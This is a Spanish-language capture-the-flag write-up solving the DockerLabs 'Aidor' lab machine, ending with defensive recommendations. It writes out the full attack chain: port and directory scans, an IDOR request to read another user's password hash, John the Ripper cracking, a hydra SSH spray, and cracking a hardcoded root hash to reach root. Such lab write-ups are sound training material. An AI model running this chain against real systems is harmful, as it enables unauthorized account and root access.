Aidor
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Aidor, diseñada por El Pingüino de Mario para DockerLabs. La máquina muestra un escenario realista donde múltiples vulnerabilidades se encadenan para comprometer el sistema:
- IDOR (Insecure Direct Object Reference): Acceso no autorizado a datos.
- Almacenamiento inseguro de contraseñas: Hashes sin sal.
- Exposición de credenciales: Hardcodeadas en código fuente.
- Falta de control de acceso: Escalada mediante hashes comprometidos.
Metodología empleada:
- Reconocimiento: Identificación de servicios y enumeración web.
- Explotación: Abuso de IDOR y crackeo de hashes.
- Escalada: Extracción de credenciales desde código fuente.
Información Genral
Sección titulada «Información Genral»| Atributo | Valor |
|---|---|
| Nombre | Aidor |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha | 17/11/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir y desplegar la máquina:
unzip Aidor.zipsudo bash auto_deploy.sh Aidor.tarEl script devuelve la IP interna del contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Identificamos servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oN allPorts.nmapResultados:
- 22/tcp — SSH
- 5000/tcp — HTTP

1.2 Análisis del servicio web
Sección titulada «1.2 Análisis del servicio web»Accedemos al puerto 5000 y encontramos una aplicación de login:

1.3 Enumeración de directorios
Sección titulada «1.3 Enumeración de directorios»Realizamos escaneo con feroxbuster:
feroxbuster -u http://172.17.0.2:5000 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,js,txt \ -t 100 \ -C 404
Recursos descubiertos:
/- Página principal (login)/register- Formulario de registro/dashboard- Panel de usuario (requiere autenticación)
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Registro de usuario
Sección titulada «2.1 Registro de usuario»Creamos una cuenta de prueba:
- Usuario:
test - Contraseña:
test - Email:
test@test.com
2.2 Descubrimiento de IDOR
Sección titulada «2.2 Descubrimiento de IDOR»Tras login, accedemos al dashboard en /dashboard?id=55:

2.3 Explotación del IDOR
Sección titulada «2.3 Explotación del IDOR»Probamos con ID 54 y obtenemos datos de otro usuario:
curl -s "http://172.17.0.2:5000/dashboard?id=54"
Información obtenida:
- Usuario:
Aidor - Hash:
7499aced43869b27f505701e4edc737f0cc346add1240d4ba86fbfa251e0fc35
2.4 Crackeo del hash
Sección titulada «2.4 Crackeo del hash»Identificamos como SHA-256 (64 caracteres) y lo crackeamos:
echo "7499aced43869b27f505701e4edc737f0cc346add1240d4ba86fbfa251e0fc35" > hash.txtjohn --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Contraseña obtenida: 123456
2.5 Acceso SSH
Sección titulada «2.5 Acceso SSH»Verificamos que las credenciales funcionan para SSH:
hydra -L users.txt -p "123456" ssh://172.17.0.2Conectamos al sistema:
ssh aidor@172.17.0.2# Contraseña: 123456
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Enumeración del sistema
Sección titulada «3.1 Enumeración del sistema»Revisamos archivos en el directorio home:
ls -la /home/aidor/Encontramos archivos críticos:
database.db— Base de datosapp.py— Código fuente de la aplicación
3.2 Análisis del código fuente
Sección titulada «3.2 Análisis del código fuente»Examinamos app.py y encontramos credenciales hardcodeadas:
cat /home/aidor/app.py
Hash descubierto: 25d55ad283aa400af464c76d713c07ad (32 chars → MD5)
3.3 Crackeo del hash de root
Sección titulada «3.3 Crackeo del hash de root»Procedemos a crackear el hash MD5:
echo "25d55ad283aa400af464c76d713c07ad" > root_hash.txtjohn --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
Contraseña de root obtenida: 12345678
3.4 Acceso como root
Sección titulada «3.4 Acceso como root»Utilizamos las credenciales para escalar privilegios:
su root
Paso 4 — Fallos de seguridad identificados
Sección titulada «Paso 4 — Fallos de seguridad identificados»4.1 Vulnerabilidades principales
Sección titulada «4.1 Vulnerabilidades principales»- IDOR en parámetro
id: Permite acceso no autorizado a datos de usuarios. - Hashes sin sal almacenados: SHA-256 sin sal permite crackeo masivo.
- Credenciales hardcodeadas: Hash MD5 de root visible en código fuente.
- Contraseñas débiles: Uso de contraseñas simples y predecibles.
- Falta de control de acceso: Dashboard expone información sensible.
4.2 Recomendaciones
Sección titulada «4.2 Recomendaciones»-
Protección contra IDOR:
- Implementar control de acceso basado en sesiones
- Usar tokens únicos en lugar de IDs secuenciales
-
Almacenamiento seguro de contraseñas:
- Usar bcrypt con sal única
- Implementar políticas de contraseñas complejas
-
Protección de credenciales:
- Eliminar credenciales hardcodeadas
- Usar variables de entorno o gestores de secretos
-
Hardening de SSH:
- Deshabilitar autenticación por contraseña
- Implementar autenticación por clave
- Configurar fail2ban
-
Prácticas de desarrollo seguro:
- Revisiones de código para detectar credenciales expuestas
- Implementar logging y monitoreo de acceso